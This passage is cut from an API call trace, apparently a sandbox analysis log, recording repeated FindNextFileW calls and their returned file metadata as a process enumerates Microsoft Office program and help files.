nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de21e00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8de21e00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x62180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70618400, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70618400, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xdf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONELEV.EXE", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfa4f00, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabfa4f00, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPCIntl.dll", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96d3b00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb96d3b00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x148d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="")) returned 1 [0077.947] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x341f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x1bf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50af3f00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCH.VRD", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGCHART.VSL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x105b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4790, dwReserved0=0x0, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8c4100, ftCreationTime.dwHighDateTime=0x1c67eda, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed8c4100, ftLastWriteTime.dwHighDateTime=0x1c67eda, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fc5400, ftCreationTime.dwHighDateTime=0x1ca0f51, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fc5400, ftLastWriteTime.dwHighDateTime=0x1ca0f51, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLBAR.INF", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x13f0930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x644d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1d380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x1416a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x46f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80e2700, ftCreationTime.dwHighDateTime=0x1ca8f17, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa80e2700, ftLastWriteTime.dwHighDateTime=0x1ca8f17, nFileSizeHigh=0x0, nFileSizeLow=0x6aa3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV.HXS", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3475b500, ftCreationTime.dwHighDateTime=0x1ca95bc, ftLastAccessTime.dwLowDateTime=0x1488eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3475b500, ftLastWriteTime.dwHighDateTime=0x1ca95bc, nFileSizeHigh=0x0, nFileSizeLow=0x13a57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ede2d00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ede2d00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1f760, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b8c480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd5800, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50bfe8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd5800, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x33a380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0077.948] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTLC.DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c24a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4cf264, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV.HXS", cAlternateFileName="")) returned 1 [0077.949] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, 